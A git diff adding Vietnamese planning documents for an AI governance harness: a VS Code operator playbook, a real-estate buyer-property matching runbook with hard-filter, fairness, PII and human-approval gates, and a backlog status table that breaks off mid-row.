diff --git a/docs/plans/CASAN_APPLY_IDE_OPERATOR_PLAYBOOK.md b/docs/plans/CASAN_APPLY_IDE_OPERATOR_PLAYBOOK.md new file mode 100644 index 0000000..0129f5a --- /dev/null +++ b/docs/plans/CASAN_APPLY_IDE_OPERATOR_PLAYBOOK.md @@ -0,0 +1,178 @@ +# CASAN APPLY — Playbook vận hành trong VS Code (thực chiến) + +> **Mục đích:** trả lời rất cụ thể: ngồi trước VS Code thì **thao tác gì, chọn model nào, +> gõ tin nhắn gì để khởi động một luồng, và có phải gửi 1 phát là xong không** — hay +> phải tối ưu qua nhiều phiên. Lấy dự án **BĐS match người mua ↔ BĐS** làm ví dụ xuyên suốt. +> **Đọc kèm:** `CASAN_APPLY_REALESTATE_MATCHING.md` (runbook luồng gate). + +--- + +## 0. SỰ THẬT CỐT LÕI — KHÔNG phải "1 tin nhắn là xong" +Gửi một prompt khổng lồ *"làm cho tôi hệ thống match BĐS hoàn chỉnh"* = **cách chắc chắn thất bại**. Vì: +- Context window có hạn, prompt càng dài chất lượng càng **degrade**. +- Không verify từng bước → **sai chồng sai**, cuối cùng không ai kiểm được. +- Không có bằng chứng, không rollback, không giải trình — **trái toàn bộ tư tưởng CASAN**. + +→ Đúng cách: **prompt → LOOP**. Chia thành **nhiều phiên (session)**, mỗi phiên **một mục tiêu nhỏ, nhiều lượt (turn), verify rồi commit**. *Prompt tốt cho một câu trả lời; loop tốt cho một hệ thống.* + +--- + +## 1. PHÂN BIỆT SỐNG CÒN: 2 loại "model" +Đừng nhầm hai thứ hoàn toàn khác nhau: + +| | Model **trong IDE** (giúp bạn XÂY hệ thống) | Model **trong sản phẩm** (runtime CHẤM match) | +|---|---|---| +| Ai dùng | Bạn (dev/harness engineer) | Ứng dụng BĐS khi chạy thật | +| Việc | Viết code, plan, test, review | Xếp hạng người mua ↔ BĐS | +| Dữ liệu | Code, plan (không PII thật) | **PII tài chính người mua** | +| Chọn ở đâu | Model picker của VS Code | `model-router.sh` + `loop-policy` | +| Ràng buộc | Chọn theo độ mạnh/nhanh | **PII → model LOCAL**, cloud cần approval | + +> Phần dưới nói về **model trong IDE** (để bạn build). Model runtime đã bàn ở runbook kia. + +--- + +## 2. CHỌN MODEL TRONG IDE theo từng việc +Trong VS Code, đổi model theo **loại việc** (không dùng một model cho mọi thứ): + +| Việc | Loại model nên chọn | Vì sao | +|---|---|---| +| Brainstorm, thiết kế kiến trúc, viết plan/spec | **Model suy luận mạnh** (lớp Opus/GPT-5) | Cần lập luận sâu, đánh đổi kiến trúc | +| Sinh code cơ học, sửa lặp, đổi tên | Model **nhanh/rẻ** | Việc rõ ràng, ưu tiên tốc độ | +| Review bảo mật / soi lỗi tinh vi | Model suy luận mạnh | Bắt lỗi khó | +| Hỏi nhanh/giải thích | Model nhanh | Rẻ | + +**Thao tác VS Code:** mở Chat (Ctrl+Alt+I) → dropdown chọn model → chọn theo bảng. Đổi model **giữa các phiên** tuỳ việc. + +--- + +## 3. CHUẨN BỊ WORKSPACE (làm 1 lần, trước khi khởi động) +1. **Mở đúng workspace** chứa: plan/spec (`casan-next-plans/…`), harness scripts (`.specify/…`), code app. +2. **Terminal WSL** sẵn sàng (harness verify chạy trong WSL — xem memory dự án). +3. **Git sạch** (`git status` clean) — để mỗi bước commit nhỏ, rollback được. +4. **Plan/Spec = bộ nhớ bền** giữa các phiên. Trước khi code, phải có: `success-criteria.yaml`, `hard-constraints.yaml`, `fairness-rules.yaml` (dù mới ở dạng nháp). +5. **Dữ liệu giả** cho dev — **không** dán PII thật vào chat. + +--- + +## 4. CẤU TRÚC MỘT PHIÊN (session) — vòng lặp chuẩn +Một phiên **KHÔNG** phải một tin nhắn. Nó là vòng lặp: + +```mermaid +flowchart LR + K["① Kickoff
nạp ngữ cảnh + goal
+ success-criteria"] --> B["② Bàn trước
(brainstorm, CHƯA code)"] + B --> T["③ Giao task nhỏ"] + T --> V["④ Verify
chạy test/gate"] + V -- fail --> T + V -- pass --> C["⑤ Commit nhỏ"] + C --> N{"còn task?"} + N -- có --> T + N -- hết --> E["⑥ Kết phiên
update plan + /clear"] +``` + +- **1 phiên = 1 mục tiêu nhỏ** (vd "dựng hard-filter + test"), không ôm cả hệ thống. +- **Verify-before-accept**: không nhận code chưa chạy test/gate. +- **Kết phiên**: commit, cập nhật plan, **`/clear`** để context sạch cho phiên sau (giữ vệ sinh ngữ cảnh — H1). + +--- + +## 5. BẢN ĐỒ NHIỀU PHIÊN cho dự án BĐS (tối ưu qua nhiều lần, không 1 phát) +| Phiên | Mục tiêu | Model | Kết quả | +|---|---|---|---| +| **P1** | Brainstorm + chốt spec: input schema, hard-constraints, fairness, success-criteria — **CHƯA code** | mạnh | các file `config/*.yaml` | +| **P2** | `hard_filter.py` (deterministic) + test | nhanh | filter + test xanh | +| **P3** | `ranker.py` nối `model-router` (model local cho PII) | mạnh | rank + test | +| **P4** | `explainer.py` → evidence trích thuộc tính thật | nhanh | explain + test | +| **P5** | Verify-gate H3 + fairness H5 + **test đối kháng** | mạnh | gate fail-closed | +| **P6** | Loop control (budget/convergence) + audit | mạnh | loop-trace | +| **P7** | Widget dashboard (Command Center) | nhanh | UI đọc artifact thật | + +→ **7 phiên**, mỗi phiên bắt đầu **context sạch**, trỏ vào plan, verify, commit. Đó là "tối ưu qua nhiều phiên". + +--- + +## 6. TIN NHẮN CỤ THỂ (copy-paste, chỉnh theo ngữ cảnh) + +### ⓵ Kickoff phiên (nạp ngữ cảnh + ràng buộc + success-criteria) +``` +Bối cảnh: dự án BĐS match người mua ↔ BĐS. Đọc casan-next-plans/CASAN_APPLY_REALESTATE_MATCHING.md +và config/hard-constraints.yaml. +Mục tiêu phiên này: dựng hard_filter.py — loại ứng viên vi phạm budget/pháp lý/deal-breaker. +Ràng buộc: luật cứng nằm NGOÀI model (deterministic); fail-closed; không đụng file khác. +Success-criteria: có test cho 5 ca (vượt budget, không sổ, tranh chấp, deal-breaker, hợp lệ) và test xanh. +CHƯA code vội — trình bày cách tiếp cận trước để tôi duyệt. +``` + +### ⓶ Bàn trước khi code (brainstorm — bắt buộc cho việc khó) +``` +Trước khi viết code, liệt kê: input/output của hard_filter, các luật sẽ áp, +edge case, và cách test. Đợi tôi OK rồi mới code. +``` + +### ⓷ Giao task nhỏ (sau khi duyệt hướng) +``` +OK hướng đó. Implement hard_filter.py + test tương ứng. Chỉ file này. +Xong thì chạy test và cho tôi xem kết quả. +``` + +### ⓸ Yêu cầu verify (không tin lời, đòi bằng chứng) +``` +Chạy test trong WSL và dán output. Nếu có ca fail, sửa rồi chạy lại tới khi xanh. +``` + +### ⓹ Sửa hướng (course-correct khi lệch) +``` +Dừng lại. Bạn đang để model quyết budget — sai. Budget là luật cứng deterministic. +Bỏ phần đó, đưa về so sánh số trực tiếp trong hard_filter. +``` + +### ⓺ Chốt & commit +``` +Test xanh rồi. Tóm tắt thay đổi 1 dòng, rồi tôi commit. Cập nhật trạng thái task +trong plan tương ứng. +``` + +### ⓻ Kết phiên / sang phiên mới +``` +Xong mục tiêu phiên. Cập nhật plan (task này Done + verify). Tôi sẽ /clear và mở +phiên mới cho ranker. +``` + +--- + +## 7. VÌ SAO PHẢI NHIỀU PHIÊN (lý do kỹ thuật, không phải cho vui) +1. **Context bền vs context phiên:** plan/spec là **bộ nhớ bền**; chat là bộ nhớ tạm. Context dài → model quên/nhiễu → chất lượng giảm. `/clear` + trỏ lại plan = luôn "tươi". +2. **Verify-before-accept từng bước** chặn sai chồng sai — đúng tinh thần verify-gate (H3). +3. **Commit nhỏ = rollback được** — đúng nguyên tắc accountability/rollback của CASAN. +4. **Loop discipline:** đặt "budget" cho mỗi phiên (phạm vi hẹp), dừng khi lệch — chính là Loop Engineering áp vào **chính cách bạn làm việc**. + +--- + +## 8. DO / DON'T vận hành +| ✅ Nên | ❌ Tránh | +|---|---| +| 1 phiên 1 mục tiêu nhỏ | 1 tin nhắn "làm hết hệ thống" | +| Bàn hướng trước khi code (việc khó) | Để agent code ngay việc mơ hồ | +| Đòi chạy test + xem output | Tin "đã xong" mà không verify | +| Commit nhỏ, thường xuyên | Dồn 1 commit khổng lồ | +| Trỏ vào plan/spec làm ngữ cảnh | Kể lại toàn bộ bối cảnh mỗi lần | +| `/clear` khi đổi mục tiêu | Kéo dài 1 phiên vô tận | +| Chọn model theo việc | Một model cho mọi thứ | + +--- + +## 9. PII & BẢO MẬT khi thao tác IDE (riêng cho BĐS) +- **KHÔNG dán PII thật** (tài chính/danh tính người mua) vào chat IDE (cloud). Dev dùng **dữ liệu giả/ẩn danh**. +- Model runtime xử lý PII = **local**, cấu hình trong app (`model-router`), **khác** model bạn dùng trong IDE. +- Nếu buộc phải xử lý dữ liệu nhạy cảm → dùng model local trong IDE hoặc tắt gửi context. + +--- + +## 10. GHI CHÚ TRUNG THỰC +- Playbook này là **cách vận hành** — áp dụng được **ngay hôm nay** với bất kỳ IDE-agent nào (không chờ Plan nào cả). +- Các script gate BĐS (`hard_filter`, `ranker`, verify-gate…) là **code dự án bạn sẽ viết qua các phiên trên**; harness CASAN (`context-compress`, `rai-guard`, `security-check`, `model-router`…) là thứ **đã có** để bọc governance. +- "Tối ưu qua nhiều phiên" **không phải điểm yếu** — đó là cách duy nhất ra hệ thống **đáng tin, verify được, giải trình được**. One-shot chỉ hợp việc nhỏ/nháp. +- Con số phiên (7) là minh hoạ; thực tế có phiên phải lặp lại nhiều lần (vd P5 gate đối kháng thường tốn nhất). + +--- +_Liên quan: `CASAN_APPLY_REALESTATE_MATCHING.md` (luồng gate chi tiết) · `CASAN_PLAN_17_LOOP_ENGINEERING.md` (loop discipline) · `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` (vệ sinh ngữ cảnh) · `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` (PII) · `FPT_CASAN_Full.md` (§4.3 Human-led, §4.4 delegation)._ diff --git a/docs/plans/CASAN_APPLY_REALESTATE_MATCHING.md b/docs/plans/CASAN_APPLY_REALESTATE_MATCHING.md new file mode 100644 index 0000000..3b336f7 --- /dev/null +++ b/docs/plans/CASAN_APPLY_REALESTATE_MATCHING.md @@ -0,0 +1,268 @@ +# CASAN APPLY — Runbook: Dự án BĐS "Match người mua ↔ bất động sản" + +> **Mục đích:** mô tả **cụ thể một luồng/phiên làm việc** áp dụng CASAN harness cho bài +> toán match người mua với BĐS phù hợp — *chuẩn bị gì, môi trường ra sao, các bước nào, +> ai chịu trách nhiệm, gate ở đâu, xuất ra bằng chứng gì*. +> **Đối tượng đọc:** Harness/Context Engineer, BA, môi giới (domain expert), pháp chế/DPO, lãnh đạo. +> **Bối cảnh:** BĐS là domain **rủi ro cao** (tiền lớn, PII tài chính, pháp lý, công bằng) +> → harness là **điều kiện dùng được**, không phải trang trí. +> +> **Trạng thái script:** ✅ đã có trong harness · 🟡 có 1 phần · 📋 trong plan (chưa implement). +> Đánh dấu ngay tại chỗ dùng. Runbook này **mô tả luồng**; chưa phải lệnh chạy production. + +--- + +## 0. Nguyên tắc bất di (đọc trước) +1. **Match score của model là phần dễ.** Giá trị nằm ở **pipeline có gate**: hard-filter → rank → verify → fairness → audit. +2. **Ràng buộc cứng (ngân sách, pháp lý, eligibility, deal-breaker) nằm NGOÀI model** — luật deterministic, model không được "linh hoạt" bỏ qua. +3. **Delegation L1–L2:** AI *xếp hạng + giải thích + gợi ý*; **người quyết định cuối**. Không tự chốt giao dịch. +4. **PII tài chính không lên cloud model nếu chưa duyệt/consent.** +5. **Mọi gợi ý có evidence click được** + **audit ai-được-gợi-ý-gì-vì-sao**. +6. **Fairness:** cấm match/loại theo thuộc tính được bảo vệ (dân tộc, tôn giáo, giới, tình trạng hôn nhân…). + +--- + +## PHẦN A — CHUẨN BỊ (trước phiên làm việc) + +### A1. Con người & vai trò (RACI) +| Vai trò | Trách nhiệm chính | +|---|---| +| **Product Owner / BA** | Chốt mục tiêu match, success-criteria, KPI | +| **Domain expert (môi giới trưởng)** | Định nghĩa "phù hợp", deal-breaker, trọng số sở thích | +| **Pháp chế / DPO** | Duyệt fairness rules, PII policy, quy định sở hữu (vd người nước ngoài) | +| **Harness Engineer** | Dựng pipeline gate, cấu hình harness, loop policy | +| **Context Engineer** | Thiết kế context assembly + must-keep + nén | +| **Validator (kiểm định)** | Định nghĩa verify-gate H3, bộ test đối kháng | +| **Approver (cấp quản lý)** | Duyệt nới delegation / giao dịch giá trị lớn | + +### A2. Dữ liệu & nguồn phải sẵn sàng +- **Listing DB** (BĐS): giá, vị trí, loại, diện tích, **trạng thái pháp lý** (sổ, tranh chấp), tiện ích, hướng/tầng, ROI, ngày bàn giao, trạng thái bán. +- **CRM / hồ sơ người mua**: ngân sách, mục đích, khu vực, must-have/deal-breaker, lịch sử tương tác. +- **Tool bên ngoài**: mortgage calculator (khả năng vay), **legal-check API** (sổ/tranh chấp), comparable-price API (giá so sánh). +- **Chất lượng dữ liệu**: mỗi nguồn có chủ sở hữu + độ tươi (freshness) — dữ liệu cũ → badge stale, không tô xanh. + +### A3. Chính sách phải CHỐT trước khi chạy (không vừa chạy vừa định) +| Artifact | Nội dung | Ai duyệt | +|---|---|---| +| `hard-constraints.yaml` | Luật cứng: budget cap, eligibility pháp lý, deal-breaker → **REJECT bất kể score** | BA + Pháp chế | +| `fairness-rules.yaml` | Danh sách thuộc tính bảo vệ **cấm dùng** để match/loại | Pháp chế/DPO | +| `data-classification.yaml` ✅ | Nhãn PII/confidential/internal/public (Plan-15) | DPO | +| `loop-policy.yaml` 📋 | Budget: max_steps/tokens/thời gian; ngưỡng convergence (Plan-17) | Harness Eng | +| `delegation.yaml` | Mức L1–L2, action nào cần approval | Approver | +| `success-criteria.yaml` | "Match tốt" = gì (đo được), Top-N, ngưỡng chất lượng | PO/BA | + +--- + +## PHẦN B — MÔI TRƯỜNG + +### B1. Tách 3 môi trường +- **dev/pilot** — dữ liệu **giả lập/ẩn danh**, model local, gate bật, không PII thật. +- **staging** — dữ liệu thật đã mask, chạy full gate + audit, chưa phục vụ khách. +- **prod** — dữ liệu thật, **secure-by-default** (mọi gate bật, opt-out phải audit). + +### B2. Model routing (quan trọng cho PII) +- **PII/confidential (tài chính người mua)** → **model local** (không rời hạ tầng). +- **Cloud model** chỉ cho dữ liệu **public/internal** hoặc khi có **consent + approval**. +- Enforce bằng `harness-preflight.sh` ✅ (check-cloud TRƯỚC model-call) + `rai-guard.py check-cloud` ✅. + +### B3. Cấu trúc thư mục dự án (mẫu) +``` +realestate-match/ + config/ + hard-constraints.yaml + fairness-rules.yaml + data-classification.yaml # ✅ mẫu có sẵn trong harness + loop-policy.yaml # 📋 Plan-17 + delegation.yaml + success-criteria.yaml + app/ # logic dự án (hard-filter, rank, explain) + hard_filter.py # luật cứng — deterministic, NGOÀI model + ranker.py # gọi model qua model-router + explainer.py # trích thuộc tính thật → evidence + harness/ -> (dùng .specify/scripts/bash của CASAN) + artifacts/ # output + audit + evidence (append-only) +``` + +### B4. Verify môi trường trước phiên (pre-flight) +```bash +# (minh hoạ) kiểm tra harness + policy sẵn sàng +rai-guard.py model-card --check # ✅ model có card/không pinned → chặn +security-check --selftest # ✅ action-gate fail-closed +# đọc được policy? thiếu policy → deny-by-default (fail-closed) +test -f config/hard-constraints.yaml && test -f config/fairness-rules.yaml +``` + +--- + +## PHẦN C — INPUT SCHEMA (cụ thể) + +### C1. Yêu cầu match (request) +```json +{ + "request_id": "MATCH-2026-07-06-001", + "mode": "buyer_to_properties", // hoặc property_to_buyers + "buyer_ref": "BUYER-8891", + "top_n": 5, + "delegation_level": "L2", + "requested_by": "agent_id:human", + "purpose": "own_use" // own_use | investment +} +``` + +### C2. Người mua (buyer) — PII, ưu tiên model local +```json +{ + "buyer_ref": "BUYER-8891", + "budget": { "max_price": 5200000000, "loan_preapproved": 3000000000, "currency": "VND" }, + "location_pref": ["Q7", "Nhà Bè"], + "property_type": ["apartment"], + "size": { "min_bedrooms": 2, "min_area_m2": 65 }, + "must_have": ["so_hong", "ban_giao_truoc:2027-06"], + "deal_breaker": ["tranh_chap_phap_ly", "khong_so"], + "purpose": "own_use", + "risk_appetite": "low", + "timeline_months": 6 +} +``` +> **Không** đưa thuộc tính bảo vệ (dân tộc/tôn giáo/giới…) vào tín hiệu match. Nếu có trong CRM → **strip** trước khi vào context. + +### C3. Bất động sản (property) +```json +{ + "property_id": "PROP-4471", + "price": 4900000000, + "location": "Q7", + "type": "apartment", + "area_m2": 72, "bedrooms": 2, + "legal_status": "so_hong", + "dispute": false, + "handover_date": "2026-12-01", + "direction": "DongNam", "floor": 12, + "rental_yield_pct": 4.8, + "status": "available", + "source_freshness": "2026-07-05T10:00:00Z" +} +``` + +--- + +## PHẦN D — LUỒNG MỘT PHIÊN LÀM VIỆC (step-by-step) + +> Mỗi bước ghi: **input → hành động (H nào) → output artifact → gate → ai chịu trách nhiệm.** + +```mermaid +flowchart TD + S0["S0 Pre-flight
classify PII + check-cloud"] --> S1["S1 Context assembly (H1)"] + S1 --> S2["S2 Retrieve (H2)"] + S2 --> S3["S3 Hard-filter
(deterministic, NGOÀI model)"] + S3 --> S4["S4 Rank (model, L1-L2)"] + S4 --> S5["S5 Explain
trích thuộc tính thật"] + S5 --> G["S6 Verify-gate (H3)
+ Fairness (H5)"] + G -- fail --> S3 + G -- pass --> S7["S7 Loop control
budget/convergence"] + S7 --> S8["S8 Human review / approval"] + S8 --> S9["S9 Present + Audit"] +``` + +### S0 — Pre-flight (H4/RAI) ✅ +- **Input:** buyer PII, request. +- **Hành động:** `rai-guard.py classify` gắn nhãn; `harness-preflight.sh` chặn PII→cloud nếu chưa duyệt → route model local. +- **Output:** `artifacts/preflight.json` (verdict + envelope provenance). +- **Gate:** PII lên cloud không consent → **HALT**. +- **Ai:** Harness Engineer (tự động). + +### S1 — Context assembly (H1) ✅ (nén) +- **Hành động:** gom buyer + catalog slice + market; `context-compress.py --respect-policy` nén nhưng **must-keep = budget/legal/deal-breaker**. +- **Output:** `artifacts/context.json`. +- **Gate:** must-keep bị rớt → FAIL (không cho qua). +- **Ai:** Context Engineer. + +### S2 — Retrieve (H2) +- **Hành động:** query listing DB + legal-check API + mortgage calculator (khả năng vay thực). +- **Output:** `candidates_raw.json` (kèm `source_freshness`). +- **Gate:** dữ liệu stale quá ngưỡng → badge stale, không tính là "verified". +- **Ai:** app (`app/…`) qua tool đã đăng ký (H2 allowlist). + +### S3 — Hard-filter (deterministic, NGOÀI model) ⭐ +- **Hành động:** `hard_filter.py` loại ứng viên **vi phạm** `hard-constraints.yaml`: vượt budget/khả năng vay, sai eligibility pháp lý, dính deal-breaker, không sổ/tranh chấp. +- **Output:** `candidates_eligible.json` + `rejected_with_reason.json`. +- **Gate:** **đây là luật cứng** — model không được đụng vào. +- **Ai:** Harness/BA (luật do BA+Pháp chế chốt). + +### S4 — Rank (model, L1–L2) +- **Hành động:** `ranker.py` gọi `model-router.sh` ✅ chấm điểm **khớp sở thích mềm** (vị trí, hướng, tiện ích, ROI) trên tập **đã eligible**. +- **Output:** `ranked.json` (score + feature contributions). +- **Gate:** model chỉ xếp hạng, **không** thêm ứng viên ngoài eligible. +- **Ai:** Harness Engineer. + +### S5 — Explain (evidence) +- **Hành động:** `explainer.py` sinh lý do **trích thuộc tính THẬT** từ DB: *"khớp vì budget ✔ (đã check vay), sổ hồng ✔, 3/4 must-have; loại PROP-X vì vượt budget"*. +- **Output:** `explained.json` (mỗi match ↔ evidence_ref tới bản ghi nguồn). +- **Gate:** giải thích chứa thuộc tính không có trong DB → **FAIL** (chống bịa). +- **Ai:** Validator kiểm mẫu. + +### S6 — Verify-gate (H3) + Fairness (H5) ⭐ +- **Hành động:** + - **H3:** re-check top-N vẫn thoả hard-constraints (double-check sau rank); faithfulness (evidence khớp nguồn). + - **H5 fairness:** quét tín hiệu match — **không** dùng thuộc tính bảo vệ (`fairness-rules.yaml`); kiểm phân bố kết quả không lệch theo nhóm bảo vệ. +- **Output:** `gate_verdict.json` (PASS/FAIL + lý do). +- **Gate:** vi phạm → quay lại S3 / loại; **fail-closed** (gate lỗi = FAIL). +- **Ai:** Validator + (Pháp chế cho fairness). + +### S7 — Loop control (Plan-17) 📋 +- **Hành động:** `loop-governor.py` giới hạn số vòng/tokens; `loop-convergence.py` dừng khi Top-N ổn định / phát hiện oscillation; ghi `loop-trace`. +- **Output:** `loop_trace.json`. +- **Gate:** vượt budget → HALT; kẹt → escalate. Người có **loop-breaker**. +- **Ai:** Harness Engineer. + +### S8 — Human review / approval (HITL) +- **Hành động:** môi giới xem Top-N + evidence; chỉnh/loại; giao dịch giá trị lớn → **approval** (`control-plane-settings.py` ✅, JWT thật + SoD 📋 sau Plan-16). +- **Output:** `human_decision.json` (ai duyệt/từ chối + lý do). +- **Gate:** L1–L2 → **bắt buộc người quyết**. +- **Ai:** Môi giới / Approver. + +### S9 — Present + Audit +- **Hành động:** trả Top-N cho người mua; ghi **audit hash-chain** (ai được gợi ý gì, vì sao, ai duyệt). +- **Output:** `audit/…` (append-only) + record cho `governance-report.py` ✅. +- **Gate:** thiếu audit → không được present (accountability). +- **Ai:** Harness (tự động). + +--- + +## PHẦN E — Delegation ladder (khi nào nâng L) +| Mức | Cho phép | Điều kiện nâng | +|---|---|---| +| **L1** | AI nháp gợi ý, người duyệt **toàn bộ** | Khởi động — luôn bắt đầu ở đây | +| **L2** | AI xếp hạng + giải thích, người quyết chọn | Gate H3/H5 xanh ổn định + AgentOps đạt KPI | +| **L3** | Tự lọc/gợi ý rủi ro thấp trong scope hẹp (vd chỉ shortlist tự động) | **Cần:** Plan-16 (enforce), audit WORM (Plan-07 T2), fairness đo liên tục, **approval cấp cao** | +> Nâng L = **security-sensitive** → phải duyệt. Không tự nâng. + +--- + +## PHẦN F — Cái gì hiện cho lãnh đạo (Command Center §8.6 Plan-13) 📋 +- **Match quality** (conversion, độ hài lòng) · **Fairness = 0 vi phạm** · **PII zero-leak** · **audit đầy đủ** · token→$ tiết kiệm. +- **Click bất kỳ match → Evidence drawer**: xem lý do + bản ghi nguồn + ai duyệt. +- Thông điệp: *"vừa hiệu quả, vừa an toàn pháp lý — không tin thì bấm xem tận gốc."* + +--- + +## PHẦN G — Checklist đi vào PRODUCTION +- [ ] `hard-constraints.yaml` + `fairness-rules.yaml` **được Pháp chế/DPO ký**. +- [ ] PII→cloud bị chặn (preflight test xanh); model local cho tài chính. +- [ ] Verify-gate H3 + fairness H5 **fail-closed** (test đối kháng xanh). +- [ ] Audit hash-chain bật; `verify-chain` phát hiện tamper. +- [ ] **Plan-16 P0** đã vá (approval JWT thật, không bypass) — *bắt buộc trước L2 thật*. +- [ ] AgentOps đo bias + hallucination + cost, có ngưỡng cảnh báo. +- [ ] Loop budget/convergence (Plan-17) cấu hình — có loop-breaker. +- [ ] Delegation khoá ở L1–L2; nâng L cần approval. + +--- + +## PHẦN H — Ghi chú trung thực +- **Chạy pilot L1–L2 được sớm:** context/hard-filter/rank/explain + gate deterministic dùng script đã có (✅) + logic app dự án. +- **Chưa "thật" cho tới khi:** Plan-16 (fail-closed/approval thật), Plan-15 enforce (PII/RAI), Plan-07 T2 (audit WORM/KMS) — nếu không, rủi ro **rò PII tài chính** hoặc **gợi ý phân biệt đối xử lọt lưới** = rủi ro **pháp lý + thương hiệu** cho dự án BĐS. +- **Script 📋 (loop-*, Command Center)** thuộc Plan-17/Plan-13 — **chưa implement**; runbook mô tả cách chúng vào luồng để chuẩn bị trước. +- **Ranh giới cứng:** hard-filter (budget/pháp lý/deal-breaker) và fairness **là luật ngoài model** — tuyệt đối không giao cho model tự giác. + +--- +_Liên quan: `CASAN_PLAN_13_CONTROL_PLANE.md` (§3.4 HITL, §8.6 Command Center) · `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` (PII/RAI/model-card) · `CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md` (fail-closed/approval thật) · `CASAN_PLAN_17_LOOP_ENGINEERING.md` (budget/convergence/loop-trace) · `CASAN_PLAN_10_TRACEABILITY_EVAL.md` (H3 eval) · `FPT_CASAN_Full.md` (§4.3 Human-led, §4.4 delegation L0–L5)._ diff --git a/docs/plans/CASAN_BACKLOG_STATUS.md b/docs/plans/CASAN_BACKLOG_STATUS.md new file mode 100644 index 0000000..7cf41e2 --- /dev/null +++ b/docs/plans/CASAN_BACKLOG_STATUS.md @@ -0,0 +1,83 @@ +# CASAN — Backlog & Handoff Status (single source of truth for "what's left") + +> **Mục đích:** liệt kê MỌI hạng mục còn tồn đọng theo ưu tiên, kèm trạng thái + +> bước tiếp theo cụ thể + cờ phụ-thuộc-hạ-tầng, để **bất kỳ AI/người nào tiếp quản +> cũng làm tiếp được ngay**. Cập nhật mỗi khi hoàn thành một mục. +> +> Cập nhật lần cuối: 2026-07-07 · Nhánh làm tiếp từ handoff Claude. +> +> **Vai trò file (single source of truth):** file này là **nguồn chuẩn cho "còn +> gì phải làm"**. Control **đã implement+test** → xem `CASAN_HARDENING_STATUS.md`. +> Mục lục plan → `CASAN_PLAN_00_INDEX.md`. Ba file không lặp trạng thái chi +> tiết; Index chỉ trỏ tới hai file này. +> Test hiện tại: **218 PASS / 0 FAIL** trên 13 core harness suite; **Plan-16 security remediation 33 SEC suite = 181 PASS / 0 FAIL** (WSL, đã nối `ci-harness-gate.sh`); local-prod Docker infra lab **2 PASS / 0 FAIL** (`infra-lab verify`: 7/0 internal checks); `phase3-model-router` riêng **11 PASS / 0 FAIL** (3 case cần Ollama live); `phase2-sourcegen` riêng **3 PASS / 0 FAIL**; frontend Vitest **16 PASS / 0 FAIL**. Backend `npm test` còn bị chặn bởi test-infra cũ (`schema.prisma` MySQL nhưng `setup-sqlite.mjs` chạy SQLite). +> Điểm công tâm vẫn quanh **~81/100**, harness thấp nhất 80; TIER 2 infra thật vẫn là trần Strong. +> Nguồn liên quan: `CASAN_HARDENING_STATUS.md` (chi tiết control) · `evidence/scoring-run-report.md` (điểm). + +## Quy ước +- **Nhãn (legend chuẩn — các file khác trỏ về đây):** ✅ done+test · 🟡 MVP done (bản prod cần hạ tầng) · 🟦 deliverable-now (làm được offline) · 🔌 needs-infra (cần key/dịch vụ ngoài) · 📋 handoff-only (platform lớn, cần nhiều phiên). +- **Ánh xạ sang nhãn của `CASAN_HARDENING_STATUS.md`:** ✅ ≈ `[implemented+tested]` · 🟡 (có bản chạy, prod cần hạ tầng) ≈ `[scaffold+tested]` · 📋/🔌 chưa làm ≈ `[planned]`. +- **Nguyên tắc bàn giao:** mỗi mục 🔌/📋 phải có "Bước tiếp theo" đủ cụ thể để người khác bắt tay ngay. +- **Bất biến an toàn:** giữ 218/0 core harness; mọi control mới phải có test đối kháng fail-able; không hardcode verdict, không bypass. + +--- + +## TIER 1 — Làm được ngay (deterministic/mock, đóng nốt Plan-07) 🟦 + +| # | Hạng mục | Plan | Trạng thái | Bước tiếp theo | +|---|---|---|:--:|---| +| T1.1 | **Model-digest pinning** (chống model bị tráo/poison) | 07 B4 / V16 | ✅ done+test | `.specify/security/model-digest.pin` pin `ornith:9b`; `model-call.py` gọi `model-digest-check.sh verify` trước Ollama; mismatch mặc định BLOCK, rollout mode WARN. Test: `phase3-model-router` pin→OK, đổi→WARN/BLOCK. | +| T1.2 | **IdP/OIDC cho approval** (thay registry pubkey tĩnh) | 07 C4 / V20 | ✅ MVP done+test | `approval-verify.sh` chấp nhận `CASAN_APPROVAL_JWT` RS256 ký bởi mock IdP, verify chữ ký bằng pubkey, check `sub`/`role`/`exp` + bind `action`/`actor`/`input_sha256`. Test: JWT hợp lệ→APPROVED, hết hạn/sai role/chữ ký giả→DENY. Prod còn cần IdP/JWKS thật. | +| T1.3 | **Traceability REQ→code→test** (khác biệt nhất) | 10 | ✅ MVP done+test | `traceability-matrix.py` parse FR-xx từ requirement, dùng `.specify/traceability-map.json`, gate mọi FR có ≥1 code + ≥1 test; Evidence Pack thêm `traceability-matrix.json`. Test: FR đủ→PASS, FR thiếu test→FAIL. | +| T1.4 | **Fix test-infra backend** (Prisma MySQL vs `setup-sqlite.mjs`) — gỡ chặn `npm test` để Plan-05 CI xanh | 05 | ✅ done+test | Đã fix: `scripts/make-sqlite-schema.mjs` sinh `schema.sqlite.prisma` từ schema.prisma (không drift), test dùng `prisma db push` thay migration MySQL thủ công; bỏ `setup-sqlite.mjs`; đổi `bcrypt`→`bcryptjs` (thuần JS, không cần native build); thêm `cross-env`. **Backend `npm test` = 46 pass / 0 fail / 3 skip** (llm-judge thiếu ANTHROPIC_API_KEY). Đã nối vào `ci-harness-gate.sh` (`backend-tests`). Build production (mysql) vẫn compile. Ghi chú: engine Prisma tải qua `NODE_OPTIONS=--use-system-ca` do corporate MITM. | + +## TIER 2 — Plan-07 gaps cần hạ tầng (Docker local-prod lab đã có; prod managed thật vẫn cần) 🔌 + +| # | Hạng mục | Trạng thái | Bước tiếp theo (bản production) | +|---|---|:--:|---| +| T2.1 | KMS mặc định + HSM | 🟡 Docker lab ✅ (Vault Transit) | `infra/local-prod` dựng Vault dev @ `:18200`; `infra-lab verify` chứng minh sign+verify. Prod: Vault/AWS-KMS/CloudHSM + token ngắn hạn qua IdP; bỏ fallback khoá local ở môi trường prod. | +| T2.2 | WORM store thật (S3 Object Lock) | 🟡 Docker lab ✅ (MinIO Object Lock) | MinIO bucket `casan-worm` bật Object Lock COMPLIANCE 1d. Prod: S3 Object Lock/QLDB + trusted timestamp; cần AWS creds + bucket Object-Lock. | +| T2.3 | Dashboard deploy + auth | 🟡 Docker lab ✅ (nginx basic auth + /healthz) | Dashboard container + nginx reverse-proxy @ `:18080`, user/pass lab `casan/casan`; `/healthz` exposed. Prod: host/TLS/OIDC or enterprise auth. | +| T2.4 | Kênh alert 